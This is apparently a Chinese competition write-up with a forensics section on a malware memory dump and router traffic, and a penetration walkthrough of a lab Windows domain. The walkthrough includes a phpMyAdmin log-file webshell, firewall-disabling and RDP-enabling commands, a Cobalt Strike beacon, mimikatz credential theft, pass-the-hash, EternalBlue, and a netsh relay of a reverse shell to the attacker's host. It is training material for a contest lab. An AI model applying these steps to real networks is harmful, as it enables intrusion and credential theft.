取证赛道

计算机、U盘、APK、手机

2024数证杯初赛 - WXjzc - 博客园

服务器

服务器1

直接用md5sum算出即可:a2444b61b65be96fc2e65924dee8febd

服务器2

直接用strings就能梭出来

strings ubuntu-client-Snapshot2.vmem | grep ubuntu-client

image-20250310173959154

服务器3

通过上一题可以发现两个接口/connect/upload/

Fig. 4. Result of the <code>strings ubuntu-client</code> command.

尝试在GDB中运行ubuntu-client,但缺少libcrypto.so.1.1

image-20250310174022092

使用以下命令下载并编译缺失的库:

wget -c https://www.openssl.org/source/openssl-1.1.1s.tar.gz && \
tar xf openssl-1.1.1s.tar.gz && \
cd openssl-1.1.1s/ && \
./config --prefix="/usr/local/openssl" && \
make

使用环境变量LD_LIBRARY_PATH指定GDB查找依赖库的路径:

LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/home/michal/openssl-1.1.1s gdb ubuntu-client

使用GDB扩展peda来辅助分析,用info functions命令列出恶意软件使用的函数,注意到curl_easy_setopt@plt,这是一个用于建立curl连接的函数

image-20250310174129348

curl_easy_setopt函数上设置断点:

b curl_easy_setopt

开始调试:

run xGonnaGiveIt2Ya

image-20250310174212905

就能发现地址

服务器4

根据上一题,可以直接得出:https://plankton-app-3qigq.ondigitalocean.app/upload/

服务器5

因为提供的内存转储文件无法被Volatility正确处理,所以要先确定生成转储文件的机器所使用的内核版本。

通过运行命令python3 vol.py -f ../ubuntu-client-Snapshot2.vmem banners,可以确定Ubuntu使用的内核版本是5.4.0-163-generic

接着使用这个仓库,并将其内容复制到volatility3/symbols/linux目录中,然后查找与执行命令ubuntu-client xGonnaGiveIt2Ya时间对应的.service文件

image-20250310174700689

在缩小搜索结果后就能很快找到启动恶意软件后刚刚创建的服务

image-20250310174735388

服务器6

搜索一下就能得到,T1543.002

路由器

路由器1

用wireshark打开后就能看到只有一个主机访问了路由器

img

路由器2

使用ip.addr == 192.168.10.1过滤,右键点击一个数据包,然后跟随 TCP 流。在路由器的网页脚本中,会显示型号名称。

img

路由器3

使用 ip.src、ip.dst 和 http.request.method POST 在 Wireshark 中进行筛选。找到成功登录的数据包后就能看到

img

路由器4

检查 NetworkMiner 中的 AssembledFiles 文件夹,特别是 adm_status.asp.html。或者找到 Wireshark 中的 GET 请求adm_status.asp,就能在html里找到

img

路由器5

找到下面这个包

img

url解码后就能很容易看出是usbapps.config.smb_admin_name这个参数

路由器6

如图

img

路由器7

找到上题的.sh脚本就能发现

img

渗透赛道

崔の网站

由于本题设计有误,暂不放出wp。等修完后会在以后的某一场比赛再次出现,敬请期待

学校

因为大家以前都只看着我上课讲过,自己实操第一次打windows,难免会遗漏一些工具和方法。所以这篇主要来总结windows最基本的知识和打法,比较细节。如果碰到一些你没见过的工具要好好记下来,该下载的要去下载。系好安全带,我们出发

学校 1

只给了一个地址,fscan先梭一把

image-20250310183710715

发现是个普通的网站,那就走一遍流程。先用nmap细扫一遍

image-20250310183749249

没有发现什么重要信息,接着扫目录

image-20250310184638900

发现有phpmyadmin

首页是个普通的探针页面,没有什么重要信息。进来phpmyadmin,弱口令root:root可以直接进来

打phpmyadmin有通式,一种是有高权限,mysql能写入文件,可以直接上马。还有一种是权限比较低,就需要打UDF提权。关于UDF提权可以看2024西湖论剑]only_sql | Red的小屋

判断能不能直接写文件,最简单的方式就是看日志是否能写入

image-20250310215415434

image-20250310215426930

要把这个功能打开并设置写入位置

image-20250310215531349

这里有个细节要注意,phpStudy的apache和nginx的默认网页路径都在WWW下,字母大写,新旧版都一样。

image-20250310215636407

再次查询就会发现修改成功

image-20250310215700437

利用注释就能将马写进日志文件(shell.php)

image-20250310220306259

image-20250310215929600

尝试访问

image-20250310220342789

image-20250310220430190

为了方便操作,直接上蚁剑

image-20250310223741476

可以发现自己是管理员

image-20250310230230954

在Desktop即可发现第一个flag

image-20250310230327657

学校 2

拿到权限后,第一件事,先关防火墙

netsh firewall set opmode disable

这步很重要,也是一个好习惯。因为关掉防火墙可以方便我们后期上CS马,以免被防火墙挡住

接着开启3389

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

接下来我们来生成CS马,首先启动CS主程序和teamserver

image-20250310225026869

这里要注意teamserver第一个参数一定要是你当前和靶机同一个网段的ip。例如线下主办方给了你个1.1.1.1作为只有你能使用的ip,就要填为这个。因为这个ip是后面作为CS为木马创建反弹shell监听器的ip,一定不能填成127.0.0.1。第二个参数是密码,可以随意。

image-20250310225036886

接着在启动器这里可以填成127.0.0.1,但是密码一定要填为上面teamserver的密码,否则无法登录。用户名和端口默认即可

image-20250310225350153

进来后点击Listeners

image-20250310225459497

点击页面最下面的add

image-20250310225527523

image-20250310225556124

名称随意,HTTP Hosts一栏点击右边按钮添加。此时就会弹出你在teamserver启动时填写的ip

image-20250310225634106

默认,直接ok就行。然后save保存。接着点击这个

image-20250310225735438

选择刚刚创建的listener

image-20250310225758783

output保持默认。x64可以先勾上,如果对面是x64系统而你这里没勾上会有概率无法正常执行

然后上传生成的马

image-20250310224859085

执行

image-20250310224921372

image-20250310224938853

成功上线。上线后第一件事情一定要先改sleep。sleep表示你的马与对面服务器多久交互一次。因为渗透比赛一般不会有蓝队检查所以无所谓你的连接频率,越低越好,以免网络问题挤掉线

image-20250310225945029

默认60秒,改成1秒即可。接着点击这里

image-20250310230722054

就能获取图形化桌面

image-20250310230810697

但延迟比较高不太方便,属于是不知道怎么做时的第二个办法。我们还是想办法用管理员直接rdesktop比较好。直接用CS跑一下mimkataz(这是一个在windows上跑一下就能自动提取密码的工具)

image-20250310231040045

直接拿到明文密码

image-20250310231111873

这里tspkg、wdigest分别是windows在RDP和部分HTTP进行认证时的方式,也就是说用rdesktop这种RDP工具连接时可以直接用mimikatz跑出来的用户密码登录。而kerberos则是域控的认证,说明这个账户不仅能在这台机器上以RDP形式登录,还能拿去登域控里的其他机器,也就是说这个账户在域控是通用的。这里不仅说明了我们的机器在域控环境里,暗示我们要去打域控,还说明我们有比较高的权限,因为在大部分情况下如果能拿到域控里Administrator这个账户一般都是比较高的权限(当然也有极个别恶心的靶机,故意把这个用户名赋一个很低的权限,拿一个什么xiaoming这种不起眼的账户当管理员,障眼法)。

所以我们接下来要做的就是做域内信息搜集。不过先废话不多说,先上rdesktop验证一下我们上面所说的(如果你碰到和我下面截图里第一行执行的一样的结果,说明你的防火墙还没关,或者3389没开)

image-20250310232040602

可以从上面那个爆密码的截图得知,我们的域是god而不是这里RDP存在的STU1,所以我们要点击其他用户,

image-20250310232444590

可以看到默认是登录STU1的域,我们要输入god\Administrator来指定是god域

image-20250310232525133

可以看到在我输入后下面自动切换成了god,然后输入我们刚才得到的密码即可登录

image-20250310232605017

这里我们通过CS把fscan传上来

image-20250310233645781

然后直接在rdesktop运行就行

image-20250310235235595

image-20250310235403497

大概可以看出有永恒之蓝可以打。这里我们可以直接用永恒之蓝直接横向两台机子。但要注意的是,拿下电脑不代表拿下了域。域是完全独立于个体机的存在,就算你拿下了域控机,如果你没拿下域账户,你也还是看不到域的一些重要内容。

但是相反,如果你拿下了域账户,那么这个时候你就能登录到这台机器上,不管这个账户权限如何,你都能保证有个foot-hood。

因此我们接下来将兵分两路给大家做示范,演示分别用域和永恒之蓝拿下每个个体机

==========================分割线==========================
使用域拿下

在正式开始搜集域内信息前,让我先列出一些最常用的域信息搜集指令

ipconfig /all            # 查看域是否存在
net view                 # 查看局域网内其他主机名
net config Workstation   # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user                 # 查看本机用户列表
net user /domain         # 查看域用户
net localgroup administrators # 查看本地管理员组(通常会有域用户)
net view /domain         # 查看有几个域
net user 用户名 /domain   # 获取指定域用户的信息
net group /domain        # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
net group 组名 /domain    # 查看域中某工作组
net group "domain admins" /domain  # 查看域管理员的名字
net group "domain computers" /domain  # 查看域中的其他主机名
net group "doamin controllers" /domain  # 查看域控制器主机名(可能有多台)

因为在前面我们已经知道有god这个域,所以我们现在使用net group "doamin controllers" /domain查询域控主机名(域控是整个域的最高权限设备,拿下域控就能拿下整个域。而正如我刚才所说,如果你只是有域控机的普通用户也是没用的,所以我们这里所说的拿下域控指的是使用对的账户去登录这台能过拥有最高权限的机器)

image-20250311000535817

可以发现是OWA这台机器,我们可以通过ping直接定位ip地址(或者用刚才fscan扫出来的结果判断)

image-20250311000617829

确定了ip,并且在刚刚mimikatz阶段我们知道了域账户Administrator的密码,我们就可以直接用哈希传递

的攻击方式拿下域控

哈希传递攻击: 在 kerberos、NTLM 认证(windows本地登录认证)过程的关键,首先就是基于用户密码 Hash 的加密,所以在域渗透中,无法破解用户密码 Hash 的情况下,也可以直接利用 Hash 来完成认证,达到攻击的目的,这就是 hash 传递攻击(Pass The Hash,简称 PTH)。如果内网主机的本地管理员账户密码相同,那么可以通过 PTH 远程登录到任意一台主机。 攻击流程:

  1. 获得一台域内主机的权限,Dump内存获得该主机获得该主机的用户密码Hash值;
  2. 通过哈希传递攻击尝试登录其他主机
  3. 继续收集哈希并尝试远程登录,知道获得域管理员Hash,登录域控,控制整个域

首先我们使用CS自带的hashdump获取哈希值

image-20250311000942881

image-20250311001643425

这里我们需要先拿下这台win7的system权限才能进一步进行哈希传递攻击。首先点击这里,就是CS自带的提权功能

image-20250311004306956

image-20250311004629420

选择我们的listener,等待一会儿就会拿到system

image-20250311004720613

接着我们在最开始创建listener的地方重新创建一个新的listener,用于哈希传递攻击。并且这个listener必须使用smb协议

image-20250311005046744

接着我们使用system权限用CS扫一下内网,让CS探测到我们要攻击的靶机

image-20250311005157722

探测完我们点击这里

image-20250311005225688

就能看到内网的所有机器

image-20250311005301119

右键目标机,选择psexec进行哈希传递

image-20250311005356393

选择我们前面用mimikatz跑出来的明文密码

image-20250311005644445

listener选择刚创建的smb,beacon选择我们拥有system权限的beacon,这样我们获取到的就会是system权限。

image-20250311011025927

成功拿下

使用永恒之蓝

因为CS没有永恒之蓝利用功能,所以要用msf。但win7的权限现在的CS上,要先转到msf上。先开一个转发listener,ip地址用主办方给你的ip或者127.0.0.1都可以,这个无所谓,因为后面会添加路由,让你的msf能访问到内网机

image-20250311011723428

image-20250311012106192

用上面方法在CS拿到win7 system后,点击这里

image-20250311012342516

选择我们创建的转发listener即可

image-20250311012421570

接着用run post/multi/manage/autoroute自动添加路由

image-20250311012512443

查看新建的路由

image-20250311012552690

确认无误后我们先将这个session挂起

image-20250311012634705

先搜索ms17-010的扫描模块探测一下

image-20250311013309027

接着搜索ms17-010的exp,尝试攻击,会发现攻击失败

image-20250311013019473

因此我们需要换个方法。如果我们像上面这样打的话,算是正向攻击。所以我们需要尝试一下反向攻击。

首先将msf模块设置好反弹ip和端口。win7作为跳板机设为lport

image-20250311103358662

接着在win7启动gost,将自身4444转发至kali,指令如下

.\gost.exe -L tcp://:4444/192.168.163.139:4444 -L udp://:4444/192.168.163.139:4444

但在这台win7上gost好像因为缺库导致不能用,所以我们只能用windows自带的netsh工具进行转发。下面是简单步骤。

  1. 打开命令提示符(CMD)作为管理员权限运行。

  2. 使用以下命令添加端口转发规则:

    netsh interface portproxy add v4tov4 listenaddress=localaddress listenport=localport connectaddress=destaddress connectport=destport
    
    • localaddress:本地计算机的IP地址。
    • localport:本地计算机上要监听的端口。
    • destaddress:要转发到的目标地址。
    • destport:要转发到的目标端口。

    例如,要将本地计算机上的本地端口80转发到远程服务器192.168.1.100的端口8080,您可以执行以下命令:

    netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=80 connectaddress=192.168.1.100 connectport=8080
    
  3. 验证端口转发是否成功:

    netsh interface portproxy show all
    
  4. 使用以下命令删除要修改的规则:

    netsh interface portproxy delete v4tov4 listenport=localport listenaddress=localaddress
    

这里我就把win7的4444收到的请求全部转发给kali的4444,这样kali的msf就能收到来自52.138的反弹shell。命令如下

netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=4444 connectaddress=192.168.163.139 connectport=4444

image-20250311113933737

image-20250311114007771

需要打3次才能通,第一第二次会报下面这样的错误属于正常情况

image-20250311114057402

第三次就可以拿到shell

image-20250311114131831

==========================分割线==========================

最后让我们看回题目,题目提到把大技文件给删了,所以大概率在回收站。到这步仍然可以用meterpreter的端口转发工具去rdesktop,但有点麻烦了,我们直接翻回收站就好。

这里又涉及到一个小知识点,就是windows回收站路径,直接搜就能搜到

image-20250311115710052

成功拿到第二个flag

学校 3

一样,打msf,就不再演示了,基本上把上一题ip换一下就行

一些小问题

CS可能会掉线,尤其是线下赛人多的时候。不用慌,不用重新生成马,如果有rdesktop了,那就直接再双击一下马就能重新在CS看到上线提示。

CS进行upload的时候可能会卡一下,这是正常现象,kali右上角核心会吃满。不用急着到处点击,以免卡死